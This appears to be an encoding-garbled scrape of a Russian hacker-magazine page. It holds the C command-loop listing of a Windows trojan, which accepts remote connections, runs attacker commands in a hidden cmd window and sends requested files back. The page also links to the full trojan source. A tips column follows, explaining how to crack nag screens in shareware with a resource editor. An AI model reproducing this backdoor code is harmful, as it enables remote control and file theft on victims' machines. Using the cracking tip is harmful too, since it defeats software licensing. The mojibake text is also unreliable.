ÑÞÕÃ’ëÕ àÞÑÞâë:
ÑÞÕÃ’ëÕ àÞÑÞâë:
ÑÞÕÃ’ëÕ àÞÑÞâë:
Create successful ePaper yourself
Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.
Break<br />
Ëèñòèíã ComandLoop’à<br />
char type[2], buf[126];<br />
while(true){<br />
SOCKET hack_Sock = accept(listet_Sock,0,0);<br />
while(true){<br />
int i = recv(hack_Sock, type, 2, 0);<br />
recv(hack_Sock, buf, 126, 0);<br />
if ((i== SOCKET_ERROR)||(i == 0)) break;<br />
if (type[0] == ‘m’) MessageBox(0,buf,»Hacked =)»,0);<br />
else if (type[0] == ‘e’) {<br />
char buf_command[129] = «/c «;<br />
strcat(buf_command,buf);<br />
ShellExecuteA(NULL, «open», «cmdexe», buf_command, NULL, SW_HIDE);<br />
}else if (type[0] == ‘f’) {<br />
HANDLE hFile =<br />
CreateFile(buf,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_AT<br />
TRIBUTE_NORMAL,NULL);<br />
if (hFile != INVALID_HANDLE_VALUE){<br />
DWORD dwBytesRead;<br />
char buff[4096];<br />
do if (ReadFile(hFile, buff, 4096, &dwBytesRead, NULL))<br />
send(hack_Sock,buff,4096,0);<br />
while (dwBytesRead == 4096);<br />
break;<br />
}<br />
CloseHandle(hFile);<br />
}<br />
}<br />
shutdown(hack_Sock,1);<br />
closesocket(hack_Sock);<br />
}<br />
Òåìà íàïèñàíèÿ òðîÿíà ïîä windows, êàê è ïîä ëþáóþ äðóãóþ îïåðàöèîíêó, î÷åíü<br />
îáøèðíà, è ìû ðàññìîòðåëè ëèøü ìà-à-àëåíüêóþ åå ÷àñòü Åñëè òåáå èíòåðåñíî<br />
óçíàòü î òðîÿíàõ ïîäðîáíåå, íàïðèìåð, î ñòåëñ-òåõíîëîãèÿõ è îá îñóùåñòâëåíèè<br />
õèòðûõ ôóíêöèé, ïèøè ìíå, è ÿ ïîñòàðàþñü ïîìî÷ü ñ èíôîé Ïîëíûå èñõîäíèêè<br />
òðîÿíà è êëèåíòà ñ ïðîåêòîì äëÿ VC++ NET òû ìîæåøü ñêà÷àòü ñ ñàéòà<br />
wwwxakepru<br />
Íà ýòîì âñå Óäà÷íîãî êîìïèëèðîâàíèÿ<br />
Tips&Tricks<br />
 ñòàòüå CRACKING: øàã âòîðîé<br />
(¹45, ñòð 40) ðàññêàçûâàåòñÿ<br />
îá óäàëåíèè nag-îêíà íà ïðèìåðå<br />
Mail Them Pro Òàê âîò, ýòîò<br />
ñîâåò äëÿ òåõ, êòî íå õî÷åò âîçèòüñÿ<br />
ñ äèçàññåìáëåðàìè è îòëàä÷èêàìè<br />
Áåðåì ëþáîé ðåäàêòîð<br />
ðåñóðñîâ (Restorator,<br />
ResHacker), îòêðûâàåì â íåì<br />
Mail Them Pro  ðàçäåëå RCData<br />
íàõîäèì ôîðìó nag-îêíà (TREG-<br />
FORM) è ïîñëå ñòðîêè OnCreate<br />
= FormCreate äîáàâëÿåì ñîáûòèå<br />
OnPaint = BitBtn1Click, òå<br />
òåïåðü ïðîãðàììà áóäåò ñàìà<br />
"íàæèìàòü" êíîïî÷êó "I Agree"<br />
Îáúÿñíÿþ: ïîñìîòðè íèæå íà ñîáûòèå<br />
OnClik êíîïêè BitBtn1 ("I<br />
Agree") Ïðè ïðîðèñîâêå ôîðìû<br />
âûïîëíÿåòñÿ êîä, êîòîðûé âûïîëíÿåòñÿ<br />
ïðè íàæàòèè íà êíîïêó<br />
"I Agree" À âîò ÷òî ìîæíî ñäåëàòü<br />
ñ nag-îêíàìè, íà êîòîðûõ<br />
íåêîòîðîå âðåìÿ êíîïêè ÿâëÿþòñÿ<br />
íå àêòèâíûìè, ÷òî âûíóæäàåò<br />
òåáÿ æäàòü Ðàññìîòðèì íà ïðèìåðå<br />
òîãî æå Restorator'à Äåëàåì<br />
òàê: îòêðûâàåì åãî â ðåäàêòîðå,<br />
íàõîäèì ôîðìó TENTERREG-<br />
FOR è äîáàâëÿåì íà íåé êíîïêó ñ<br />
ïàðàìåòðîì Cancel = True (ìîæíî<br />
ïðîñòî ñêîïèðîâàòü êíîïêó<br />
BCancel, èçìåíèâ çíà÷åíèå ïàðàìåòðà<br />
Left (ðàñïîëîæåíèå<br />
êíîïêè îòíîñèòåëüíî ëåâîãî êðàÿ<br />
ôîðìû) è åå èìÿ BCancel) Òåïåðü<br />
ïðè çàïóñêå ïðîãðàììû ìû<br />
ìîæåì çàêðûòü nag-îêíî, íàæàâ<br />
íà ñîçäàííóþ íàìè êíîïêó, íå<br />
äîæèäàÿñü àêòèâèçèðîâàíèÿ<br />
"ñòàíäàðòíûõ" êíîïîê<br />
Äàííûå ìåòîäû ìîãóò èñïîëüçîâàòüñÿ<br />
è äëÿ äðóãèõ ïðîãðàìì,<br />
íàïèñàííûõ íà Delphi èëè C++<br />
Builder<br />
Sinicin<br />
ivashkin@vsmporu<br />
Õî÷åøü óâèäåòü ñâîè ñîâåòû â<br />
æóðíàëå? Ïðèñûëàé èõ íà àäðåñ<br />
Sklyarov@realxakepru Âåäóùèé<br />
ðóáðèêè Tips&Tricks Èâàí Ñêëÿðîâ